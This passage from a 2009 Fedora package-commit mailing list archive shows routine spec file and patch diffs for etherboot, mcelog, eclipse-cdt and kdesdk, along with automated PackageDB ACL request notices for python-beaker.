- Include rtl8209 in etherboot-zroms-qemu (#526781)



Index: etherboot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/etherboot/F-12/etherboot.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- etherboot.spec	24 Jul 2009 22:19:51 -0000	1.18
+++ etherboot.spec	5 Oct 2009 15:04:26 -0000	1.19
@@ -7,7 +7,7 @@
 
 Name: etherboot
 Version: 5.4.4
-Release: 17%{?dist}
+Release: 18%{?dist}
 Summary: Etherboot collection of boot roms
 
 Group: Development/Tools
@@ -148,8 +148,9 @@ popd
 
 # the roms supported by kvm will be packaged separatedly
 # remove from the main rom list and add them to kvm.list
-for fmt in rom zrom;do 
-	for rom in ne e1000-82542 pcnet32 rtl8139 virtio-net;do
+# ne is included only for compatibility with earlier versions of qemu
+for fmt in rom zrom;do
+	for rom in rtl8209 ne e1000-82542 pcnet32 rtl8139 virtio-net;do
 		sed -i -e "/\/${rom}.${fmt}/d" ${fmt}.list
 		echo %{_datadir}/%{name}/${rom}.${fmt} >> kvm.${fmt}.list
 	done
@@ -183,6 +184,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 5.4.4-18
+- Include rtl8209 in etherboot-zroms-qemu (#526781)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 5.4.4-17
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From pkgdb at fedoraproject.org  Mon Oct  5 15:04:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 15:04:31 +0000
Subject: [pkgdb] python-beaker: lmacken has requested watchbugzilla
Message-ID: <20091005150431.F01E310F895@bastion2.fedora.phx.redhat.com>

lmacken has requested the watchbugzilla acl on python-beaker (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 15:23:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 15:23:25 +0000
Subject: [pkgdb] python-beaker: lmacken has requested watchcommits
Message-ID: <20091005150433.E2F6110F8A3@bastion2.fedora.phx.redhat.com>

lmacken has requested the watchcommits acl on python-beaker (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 15:04:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 15:04:34 +0000
Subject: [pkgdb] python-beaker: lmacken has requested commit
Message-ID: <20091005150434.C90D210F8AB@bastion2.fedora.phx.redhat.com>

lmacken has requested the commit acl on python-beaker (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 15:04:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 15:04:35 +0000
Subject: [pkgdb] python-beaker: lmacken has requested approveacls
Message-ID: <20091005150436.1842610F8AD@bastion2.fedora.phx.redhat.com>

lmacken has requested the approveacls acl on python-beaker (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 15:04:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 15:04:44 +0000
Subject: [pkgdb] python-beaker: lmacken has requested watchcommits
Message-ID: <20091005150444.A0EFD10F894@bastion2.fedora.phx.redhat.com>

lmacken has requested the watchcommits acl on python-beaker (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 15:04:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 15:04:49 +0000
Subject: [pkgdb] python-beaker: lmacken has requested commit
Message-ID: <20091005150449.E4EA410F8A1@bastion2.fedora.phx.redhat.com>

lmacken has requested the commit acl on python-beaker (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 15:04:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 15:04:50 +0000
Subject: [pkgdb] python-beaker: lmacken has requested approveacls
Message-ID: <20091005150450.ADF2510F8A8@bastion2.fedora.phx.redhat.com>

lmacken has requested the approveacls acl on python-beaker (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 15:04:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 15:04:54 +0000
Subject: [pkgdb] python-beaker: lmacken has requested watchcommits
Message-ID: <20091005150454.46B9E10F8AF@bastion2.fedora.phx.redhat.com>

lmacken has requested the watchcommits acl on python-beaker (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 15:04:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 15:04:57 +0000
Subject: [pkgdb] python-beaker: lmacken has requested commit
Message-ID: <20091005150457.64CCC10F8B3@bastion2.fedora.phx.redhat.com>

lmacken has requested the commit acl on python-beaker (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 15:04:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 15:04:58 +0000
Subject: [pkgdb] python-beaker: lmacken has requested approveacls
Message-ID: <20091005150458.5488010F8BC@bastion2.fedora.phx.redhat.com>

lmacken has requested the approveacls acl on python-beaker (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From markmc at fedoraproject.org  Mon Oct  5 15:05:18 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Mon,  5 Oct 2009 15:05:18 +0000 (UTC)
Subject: rpms/etherboot/F-11 etherboot.spec,1.17,1.18
Message-ID: <20091005150518.D96DD11C00DB@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/etherboot/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14072

Modified Files:
	etherboot.spec 
Log Message:
* Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 5.4.4-17
- Include rtl8209 in etherboot-zroms-qemu (#526781)



Index: etherboot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/etherboot/F-11/etherboot.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- etherboot.spec	23 Jun 2009 11:46:18 -0000	1.17
+++ etherboot.spec	5 Oct 2009 15:05:18 -0000	1.18
@@ -7,7 +7,7 @@
 
 Name: etherboot
 Version: 5.4.4
-Release: 16%{?dist}
+Release: 17%{?dist}
 Summary: Etherboot collection of boot roms
 
 Group: Development/Tools
@@ -148,8 +148,9 @@ popd
 
 # the roms supported by kvm will be packaged separatedly
 # remove from the main rom list and add them to kvm.list
-for fmt in rom zrom;do 
-	for rom in ne e1000-82542 pcnet32 rtl8139 virtio-net;do
+# ne is included only for compatibility with earlier versions of qemu
+for fmt in rom zrom;do
+	for rom in rtl8209 ne e1000-82542 pcnet32 rtl8139 virtio-net;do
 		sed -i -e "/\/${rom}.${fmt}/d" ${fmt}.list
 		echo %{_datadir}/%{name}/${rom}.${fmt} >> kvm.${fmt}.list
 	done
@@ -183,6 +184,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 5.4.4-17
+- Include rtl8209 in etherboot-zroms-qemu (#526781)
+
 * Tue Jun 23 2009 Mark McLoughlin <markmc at redhat.com> - 5.4.4-16
 - Fix e1000 PXE boot - caused by compiler optimization (bug #507391)
 



From orion at fedoraproject.org  Mon Oct  5 15:11:30 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Mon,  5 Oct 2009 15:11:30 +0000 (UTC)
Subject: rpms/mcelog/devel mcelog-0.9-pre1-record-length.patch, NONE,
	1.1 .cvsignore, 1.7, 1.8 mcelog.spec, 1.27, 1.28 sources, 1.6, 1.7
Message-ID: <20091005151130.CD85D11C00DB@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/mcelog/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16400

Modified Files:
	.cvsignore mcelog.spec sources 
Added Files:
	mcelog-0.9-pre1-record-length.patch 
Log Message:
* Mon Oct 05 2009 Orion Poplawski <orion at cora.nwra.com> - 1:0.9pre1-0.1
- Update to 0.9pre1
- Update URL
- Add patch to update mcelog kernel record length (bug #507026)


mcelog-0.9-pre1-record-length.patch:
 mcelog.c |   12 ++++++------
 mcelog.h |   37 ++++++++++++++++++++-----------------
 2 files changed, 26 insertions(+), 23 deletions(-)

--- NEW FILE mcelog-0.9-pre1-record-length.patch ---
--- mcelog-0.9-pre1/mcelog.h.record-length	2009-02-20 15:56:08.000000000 -0700
+++ mcelog-0.9-pre1/mcelog.h	2009-10-05 09:01:24.308477671 -0600
@@ -11,26 +11,29 @@
 
 /* kernel structure: */
 
-/* Fields are zero when not available */
 struct mce {
-	__u64 status;
-	__u64 misc;
-	__u64 addr;
-	__u64 mcgstatus;
-	__u64 rip;
-	__u64 tsc;	/* cpu time stamp counter */
-	__u64 time;	/* wall time_t when error was detected */
-	__u8  cpuvendor;	/* cpu vendor as encoded in system.h */
-	__u8  pad1;
-	__u16 pad2;
-	__u32 cpuid;	/* CPUID 1 EAX */
-	__u8  cs;	/* code segment */
-	__u8  bank;	/* machine check bank */
-	__u8  cpu;	/* cpu that raised the error */
-	__u8  finished;   /* entry is valid */
-	__u32 extcpu;	/* extended CPU number */
+        __u64 status;
+        __u64 misc;
+        __u64 addr;
+        __u64 mcgstatus;
+        __u64 ip;
+        __u64 tsc;      /* cpu time stamp counter */
+        __u64 time;     /* wall time_t when error was detected */
+        __u8  cpuvendor;        /* cpu vendor as encoded in system.h */
+        __u8  pad1;
+        __u16 pad2;
+        __u32 cpuid;    /* CPUID 1 EAX */
+        __u8  cs;               /* code segment */
+        __u8  bank;     /* machine check bank */
+        __u8  cpu;      /* cpu number; obsolete; use extcpu now */
+        __u8  finished;   /* entry is valid */
+        __u32 extcpu;   /* linux cpu number that detected the error */
+        __u32 socketid; /* CPU socket ID */
+        __u32 apicid;   /* CPU initial apic ID */
+        __u64 mcgcap;   /* MCGCAP MSR: machine check capabilities of CPU */
 };
 
+
 #define X86_VENDOR_INTEL	0
 #define X86_VENDOR_CYRIX	1
 #define X86_VENDOR_AMD		2
--- mcelog-0.9-pre1/mcelog.c.record-length	2009-02-20 15:56:08.000000000 -0700
+++ mcelog-0.9-pre1/mcelog.c	2009-10-05 09:01:24.307479137 -0600
@@ -341,15 +341,15 @@
 			Wprintf(" (upper bound, found by polled driver)");
 		Wprintf("\n");
 	}
-	if (m->rip) 
-		Wprintf("RIP%s %02x:%Lx ", 
+	if (m->ip) 
+		Wprintf("RIP%s %02x:%llx ", 
 		       !(m->mcgstatus & MCG_STATUS_EIPV) ? " !INEXACT!" : "",
-		       m->cs, m->rip);
+		       m->cs, m->ip);
 	if (m->misc)
 		Wprintf("MISC %Lx ", m->misc);
 	if (m->addr)
 		Wprintf("ADDR %Lx ", m->addr);
-	if (m->rip | m->misc | m->addr)	
+	if (m->ip | m->misc | m->addr)	
 		Wprintf("\n");
 	switch (cputype) { 
 	case CPU_K8:
@@ -387,7 +387,7 @@
 	Wprintf("CPU %u\n", m->extcpu ? m->extcpu : m->cpu);
 	Wprintf("BANK %d\n", m->bank);
 	Wprintf("TSC 0x%Lx\n", m->tsc);
-	Wprintf("RIP 0x%02x:0x%Lx\n", m->cs, m->rip);
+	Wprintf("RIP 0x%02x:0x%llx\n", m->cs, m->ip);
 	Wprintf("MISC 0x%Lx\n", m->misc);
 	Wprintf("ADDR 0x%Lx\n", m->addr);
 	Wprintf("STATUS 0x%Lx\n", m->status);
@@ -543,7 +543,7 @@
 
 			n = sscanf(s, "%02x:<%016Lx> {%100s}%n",
 				   &cs,
-				   &m.rip, 
+				   &m.ip, 
 				   symbol, &next); 
 			m.cs = cs;
 			if (n < 2) 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mcelog/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	17 May 2006 20:42:32 -0000	1.7
+++ .cvsignore	5 Oct 2009 15:11:29 -0000	1.8
@@ -1,2 +1 @@
-mcelog-0.7.tar.gz
-mcelog-0.7
+mcelog-0.9pre1.tar.gz


Index: mcelog.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mcelog/devel/mcelog.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- mcelog.spec	4 Aug 2009 15:25:00 -0000	1.27
+++ mcelog.spec	5 Oct 2009 15:11:29 -0000	1.28
@@ -1,12 +1,13 @@
 Summary:        Tool to translate x86-64 CPU Machine Check Exception data.
 Name:           mcelog
-Version:        0.7
-Release: 	5%{?dist}
+Version:        0.9pre1
+Release: 	0.1%{?dist}
 Epoch:		1
 Group:          System Environment/Base
 License:        GPLv2
-Source0:        ftp://ftp.x86-64.org/pub/linux/tools/mcelog/mcelog-%{version}.tar.gz
-URL:            ftp://ftp.x86-64.org/pub/linux/tools/mcelog/
+Source0:        http://www.kernel.org/pub/linux/utils/cpu/mce/mcelog-%{version}.tar.gz
+Patch0:         mcelog-0.9-pre1-record-length.patch
+URL:            http://www.kernel.org/pub/linux/utils/cpu/mce/
 Buildroot:      %{_tmppath}/%{name}-%{version}-root
 ExclusiveArch:	x86_64
 
@@ -15,7 +16,8 @@ mcelog is a daemon that collects and dec
 on x86-64 machines.
 
 %prep
-%setup -q
+%setup -q -n %{name}-0.9-pre1
+%patch0 -p1 -b .record-length
 
 %build
 rm -rf %{buildroot}
@@ -45,6 +47,11 @@ rm -rf %{buildroot}
 %attr(0644,root,root) %{_mandir}/*/*
 
 %changelog
+* Mon Oct 05 2009 Orion Poplawski <orion at cora.nwra.com> - 1:0.9pre1-0.1
+- Update to 0.9pre1
+- Update URL
+- Add patch to update mcelog kernel record length (bug #507026)
+
 * Tue Aug 04 2009 Adam Jackson <ajax at redhat.com> 0.7-5
 - Fix %%install for new buildroot cleanout.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mcelog/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	17 May 2006 20:15:11 -0000	1.6
+++ sources	5 Oct 2009 15:11:29 -0000	1.7
@@ -1 +1 @@
-21ba1a4d748c71c28f212ea57a7be7a1  mcelog-0.7.tar.gz
+7ba2ef16429641e013bceb8b138762af  mcelog-0.9pre1.tar.gz



From overholt at fedoraproject.org  Mon Oct  5 15:11:44 2009
From: overholt at fedoraproject.org (Andrew Overholt)
Date: Mon,  5 Oct 2009 15:11:44 +0000 (UTC)
Subject: rpms/eclipse-cdt/devel eclipse-cdt-ppc64-add_ldflags.patch, NONE,
	1.1 eclipse-cdt-ppc64-add_xopen_source-include.patch, NONE,
	1.1 eclipse-cdt.spec, 1.133, 1.134
Message-ID: <20091005151144.D2E9311C00DB@cvs1.fedora.phx.redhat.com>

Author: overholt

Update of /cvs/pkgs/rpms/eclipse-cdt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16534

Modified Files:
	eclipse-cdt.spec 
Added Files:
	eclipse-cdt-ppc64-add_ldflags.patch 
	eclipse-cdt-ppc64-add_xopen_source-include.patch 
Log Message:
* Mon Oct 05 2009 Andrew Overholt <overholt at redhat.com> 1:6.0.0-11
- Build on ppc64

eclipse-cdt-ppc64-add_ldflags.patch:
 Makefile |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE eclipse-cdt-ppc64-add_ldflags.patch ---
Add LDFLAGS variable to the lines that create the shared objects.

Extra link options are needed on some platforms, such as ppc64, where a
-m64 switch is needed.
Index: library/Makefile
===================================================================
--- library.orig/Makefile
+++ library/Makefile
@@ -33,11 +33,11 @@ rebuild: clean all
 
 $(LIB_NAME_FULL_SPAWNER) : $(OBJS_SPAWNER)
 	mkdir -p $(INSTALL_DIR)
-	$(CC) -g -shared -Wl,-soname,$(LIB_NAME_SPAWNER) -o $(LIB_NAME_FULL_SPAWNER) $(OBJS_SPAWNER) -lc
+	$(CC) -g -shared -Wl,-soname,$(LIB_NAME_SPAWNER) $(LDFLAGS) -o $(LIB_NAME_FULL_SPAWNER) $(OBJS_SPAWNER) -lc
 
 $(LIB_NAME_FULL_PTY): $(OBJS_PTY)
 	mkdir -p $(INSTALL_DIR)
-	$(CC) -g -shared -Wl,-soname,$(LIB_NAME_PTY) -o $(LIB_NAME_FULL_PTY) $(OBJS_PTY)
+	$(CC) -g -shared -Wl,-soname,$(LIB_NAME_PTY) $(LDFLAGS) -o $(LIB_NAME_FULL_PTY) $(OBJS_PTY)
 
 clean :
 	$(RM) $(OBJS_SPAWNER) $(LIB_NAME_FULL_SPAWNER)

eclipse-cdt-ppc64-add_xopen_source-include.patch:
 openpty.c |    5 +++++
 1 file changed, 5 insertions(+)

--- NEW FILE eclipse-cdt-ppc64-add_xopen_source-include.patch ---
#define of _XOPEN_SOURCE is needed to obtain the header for ptsname.

if _XOPEN_SOURCE is not defined before including stdlib.h, a warning about
a assignment from an integer to a pointer without a cast will occur.  This
warning could actually cause problems in some circumstances, because the
upper bits of the return value could, potentially, bet set to zero before
the assignment is made.
Index: library/openpty.c
===================================================================
--- library.orig/openpty.c
+++ library/openpty.c
@@ -8,6 +8,10 @@
  * Contributors:
  *     QNX Software Systems - initial API and implementation
  *******************************************************************************/
+
+
+/* _XOPEN_SOURCE is needed to bring in the header for ptsname */
+#define _XOPEN_SOURCE
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <sys/ioctl.h>
@@ -20,6 +24,7 @@
 #include <grp.h>
 
 #include <stdlib.h>
+
 #include <stropts.h>
 
 /**


Index: eclipse-cdt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-cdt/devel/eclipse-cdt.spec,v
retrieving revision 1.133
retrieving revision 1.134
diff -u -p -r1.133 -r1.134
--- eclipse-cdt.spec	24 Sep 2009 22:20:05 -0000	1.133
+++ eclipse-cdt.spec	5 Oct 2009 15:11:44 -0000	1.134
@@ -22,7 +22,7 @@ Epoch: 1
 Summary:        Eclipse C/C++ Development Tools (CDT) plugin
 Name:           eclipse-cdt
 Version:        %{majmin}.%{micro}
-Release:        10%{?dist}
+Release:        11%{?dist}
 License:        EPL and CPL
 Group:          Development/Tools
 URL:            http://www.eclipse.org/cdt
@@ -73,6 +73,7 @@ Source7: libstdc++-v3.libhover
 
 # Remove include of stropts.h in openpty.c as it is no longer included 
 # in glibc-headers package
+# https://bugs.eclipse.org/bugs/show_bug.cgi?id=272373
 Patch12: %{name}-openpty.patch
 
 # Add XML -> HTML generation after running tests
@@ -86,6 +87,17 @@ Patch14: %{name}-libhover-local.patch
 # and to enable local plugin file support for docs.
 Patch15: %{name}-libhover.patch
 
+# Patches for ppc64
+# https://bugs.eclipse.org/bugs/show_bug.cgi?id=272380
+
+# Add LDFLAGS to Makefile for .so
+# https://bugs.eclipse.org/bugs/show_bug.cgi?id=272364
+Patch16: %{name}-ppc64-add_ldflags.patch
+
+# Add define of _XOPEN_SOURCE so that ptsname header is included
+# https://bugs.eclipse.org/bugs/show_bug.cgi?id=272370
+Patch17: %{name}-ppc64-add_xopen_source-include.patch
+
 BuildRequires: eclipse-pde
 BuildRequires: eclipse-mylyn >= 3.0
 BuildRequires: eclipse-rse >= 3.0
@@ -99,8 +111,7 @@ Requires:       gdb make gcc-c++ autocon
 Requires:       eclipse-platform >= 1:3.5.0
 Requires:	eclipse-rse >= 3.0
 
-# Currently, upstream CDT only supports building on the platforms listed here.
-ExclusiveArch: %{ix86} x86_64 ppc ia64
+ExclusiveArch: %{ix86} x86_64 ppc ia64 ppc64
 BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n) 
 
 %description
@@ -229,6 +240,20 @@ find -name \*.so | xargs rm -rf
 mv org.eclipse.cdt.releng/results/plugins/org.eclipse.cdt.core.tests/resources/testlib/x86/so.g/libtestlib_g.BAK \
   org.eclipse.cdt.releng/results/plugins/org.eclipse.cdt.core.tests/resources/testlib/x86/so.g/libtestlib_g.so
 
+%ifarch ppc64
+pushd org.eclipse.cdt.releng/results/plugins
+echo "fragmentName.linux.%{eclipse_arch} = C/C++ Development Tools Core for Linux (%{eclipse_arch})" \
+  >> org.eclipse.cdt.releng/results/plugins/org.eclipse.cdt.core/plugin.properties
+cp -rp org.eclipse.cdt.core.linux.{x86,%{eclipse_arch}}
+cd org.eclipse.cdt.core.linux.%{eclipse_arch}
+sed -i "s/x86/%{eclipse_arch}/" META-INF/MANIFEST.MF
+mv os/linux/{x86,%{eclipse_arch}}
+cd ../org.eclipse.cdt.core.linux
+%patch16 -p0
+%patch17 -p0
+popd
+%endif
+
 %build
 export JAVA_HOME=%{java_home}
 export PATH=%{java_bin}:/usr/bin:$PATH
@@ -522,6 +547,9 @@ rm -rf ${RPM_BUILD_ROOT}
 %endif
 
 %changelog
+* Mon Oct 05 2009 Andrew Overholt <overholt at redhat.com> 1:6.0.0-11
+- Build on ppc64
+
 * Wed Sep 23 2009 Jeff Johnston <jjohnstn at redhat.com> 1:6.0.0-10
 - Resolves #290247
 - Upgrade libhover to 0.3.0.



From than at fedoraproject.org  Mon Oct  5 15:12:18 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon,  5 Oct 2009 15:12:18 +0000 (UTC)
Subject: rpms/kdesdk/devel .cvsignore, 1.64, 1.65 kdesdk.spec, 1.150,
	1.151 sources, 1.65, 1.66
Message-ID: <20091005151218.181AB11C00DB@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdesdk/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16412

Modified Files:
	.cvsignore kdesdk.spec sources 
Log Message:
4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdesdk/devel/.cvsignore,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- .cvsignore	1 Sep 2009 18:25:55 -0000	1.64
+++ .cvsignore	5 Oct 2009 15:12:17 -0000	1.65
@@ -1 +1,2 @@
 kdesdk-4.3.1.tar.bz2
+kdesdk-4.3.2.tar.bz2


Index: kdesdk.spec
===================================================================
RCS file: /cvs/extras/rpms/kdesdk/devel/kdesdk.spec,v
retrieving revision 1.150
retrieving revision 1.151
diff -u -p -r1.150 -r1.151
--- kdesdk.spec	24 Sep 2009 14:14:46 -0000	1.150
+++ kdesdk.spec	5 Oct 2009 15:12:17 -0000	1.151
@@ -1,6 +1,6 @@
 Name:           kdesdk
-Version:        4.3.1
-Release:        2%{?dist}
+Version:        4.3.2
+Release:        1%{?dist}
 Summary:        The KDE Software Development Kit (SDK)
 
 Group:          User Interface/Desktops
@@ -225,6 +225,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Thu Sep 24 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-2
 - Requires: kross(python) (#523076)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdesdk/devel/sources,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- sources	28 Aug 2009 16:17:34 -0000	1.65
+++ sources	5 Oct 2009 15:12:17 -0000	1.66
@@ -1 +1 @@
-e1fda958d1f0a2ac39c0cc04814d1fd7  kdesdk-4.3.1.tar.bz2
+326da443b4fed01141f7954464678de2  kdesdk-4.3.2.tar.bz2



From orion at fedoraproject.org  Mon Oct  5 15:12:36 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Mon,  5 Oct 2009 15:12:36 +0000 (UTC)
Subject: rpms/mcelog/F-12 import.log, NONE,
	1.1 mcelog-0.9-pre1-record-length.patch, NONE, 1.1 .cvsignore,
	1.7, 1.8 mcelog.spec, 1.27, 1.28 sources, 1.6, 1.7
Message-ID: <20091005151236.6A85711C00DB@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/mcelog/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16868/F-12

Modified Files:
	.cvsignore mcelog.spec sources 
Added Files:
	import.log mcelog-0.9-pre1-record-length.patch 
Log Message:
Sync from devel


--- NEW FILE import.log ---
mcelog-0_9pre1-0_1_fc13:F-12:mcelog-0.9pre1-0.1.fc13.src.rpm:1254755545

mcelog-0.9-pre1-record-length.patch:
 mcelog.c |   12 ++++++------
 mcelog.h |   37 ++++++++++++++++++++-----------------
 2 files changed, 26 insertions(+), 23 deletions(-)

--- NEW FILE mcelog-0.9-pre1-record-length.patch ---
--- mcelog-0.9-pre1/mcelog.h.record-length	2009-02-20 15:56:08.000000000 -0700
+++ mcelog-0.9-pre1/mcelog.h	2009-10-05 09:01:24.308477671 -0600
@@ -11,26 +11,29 @@
 
 /* kernel structure: */
 
-/* Fields are zero when not available */
 struct mce {
-	__u64 status;
-	__u64 misc;
-	__u64 addr;
-	__u64 mcgstatus;
-	__u64 rip;
-	__u64 tsc;	/* cpu time stamp counter */
-	__u64 time;	/* wall time_t when error was detected */
-	__u8  cpuvendor;	/* cpu vendor as encoded in system.h */
-	__u8  pad1;
-	__u16 pad2;
-	__u32 cpuid;	/* CPUID 1 EAX */
-	__u8  cs;	/* code segment */
-	__u8  bank;	/* machine check bank */
-	__u8  cpu;	/* cpu that raised the error */
-	__u8  finished;   /* entry is valid */
-	__u32 extcpu;	/* extended CPU number */
+        __u64 status;
+        __u64 misc;
+        __u64 addr;
+        __u64 mcgstatus;
+        __u64 ip;
+        __u64 tsc;      /* cpu time stamp counter */
+        __u64 time;     /* wall time_t when error was detected */
+        __u8  cpuvendor;        /* cpu vendor as encoded in system.h */
+        __u8  pad1;
+        __u16 pad2;
+        __u32 cpuid;    /* CPUID 1 EAX */
+        __u8  cs;               /* code segment */
+        __u8  bank;     /* machine check bank */
+        __u8  cpu;      /* cpu number; obsolete; use extcpu now */
+        __u8  finished;   /* entry is valid */
+        __u32 extcpu;   /* linux cpu number that detected the error */
+        __u32 socketid; /* CPU socket ID */
+        __u32 apicid;   /* CPU initial apic ID */
+        __u64 mcgcap;   /* MCGCAP MSR: machine check capabilities of CPU */
 };
 
+
 #define X86_VENDOR_INTEL	0
 #define X86_VENDOR_CYRIX	1
 #define X86_VENDOR_AMD		2
--- mcelog-0.9-pre1/mcelog.c.record-length	2009-02-20 15:56:08.000000000 -0700
+++ mcelog-0.9-pre1/mcelog.c	2009-10-05 09:01:24.307479137 -0600
@@ -341,15 +341,15 @@
 			Wprintf(" (upper bound, found by polled driver)");
 		Wprintf("\n");
 	}
-	if (m->rip) 
-		Wprintf("RIP%s %02x:%Lx ", 
+	if (m->ip) 
+		Wprintf("RIP%s %02x:%llx ", 
 		       !(m->mcgstatus & MCG_STATUS_EIPV) ? " !INEXACT!" : "",
-		       m->cs, m->rip);
+		       m->cs, m->ip);
 	if (m->misc)
 		Wprintf("MISC %Lx ", m->misc);
 	if (m->addr)
 		Wprintf("ADDR %Lx ", m->addr);
-	if (m->rip | m->misc | m->addr)	
+	if (m->ip | m->misc | m->addr)	
 		Wprintf("\n");
 	switch (cputype) { 
 	case CPU_K8:
@@ -387,7 +387,7 @@
 	Wprintf("CPU %u\n", m->extcpu ? m->extcpu : m->cpu);
 	Wprintf("BANK %d\n", m->bank);
 	Wprintf("TSC 0x%Lx\n", m->tsc);
-	Wprintf("RIP 0x%02x:0x%Lx\n", m->cs, m->rip);
+	Wprintf("RIP 0x%02x:0x%llx\n", m->cs, m->ip);
 	Wprintf("MISC 0x%Lx\n", m->misc);
 	Wprintf("ADDR 0x%Lx\n", m->addr);
 	Wprintf("STATUS 0x%Lx\n", m->status);
@@ -543,7 +543,7 @@
 
 			n = sscanf(s, "%02x:<%016Lx> {%100s}%n",
 				   &cs,
-				   &m.rip, 
+				   &m.ip, 
 				   symbol, &next); 
 			m.cs = cs;
 			if (n < 2) 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mcelog/F-12/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	17 May 2006 20:42:32 -0000	1.7
+++ .cvsignore	5 Oct 2009 15:12:35 -0000	1.8
@@ -1,2 +1 @@
-mcelog-0.7.tar.gz
-mcelog-0.7
+mcelog-0.9pre1.tar.gz


Index: mcelog.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mcelog/F-12/mcelog.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- mcelog.spec	4 Aug 2009 15:25:00 -0000	1.27
+++ mcelog.spec	5 Oct 2009 15:12:36 -0000	1.28
@@ -1,12 +1,13 @@
 Summary:        Tool to translate x86-64 CPU Machine Check Exception data.
 Name:           mcelog
-Version:        0.7
-Release: 	5%{?dist}
+Version:        0.9pre1
+Release: 	0.1%{?dist}
 Epoch:		1
 Group:          System Environment/Base
 License:        GPLv2
-Source0:        ftp://ftp.x86-64.org/pub/linux/tools/mcelog/mcelog-%{version}.tar.gz
-URL:            ftp://ftp.x86-64.org/pub/linux/tools/mcelog/
+Source0:        http://www.kernel.org/pub/linux/utils/cpu/mce/mcelog-%{version}.tar.gz
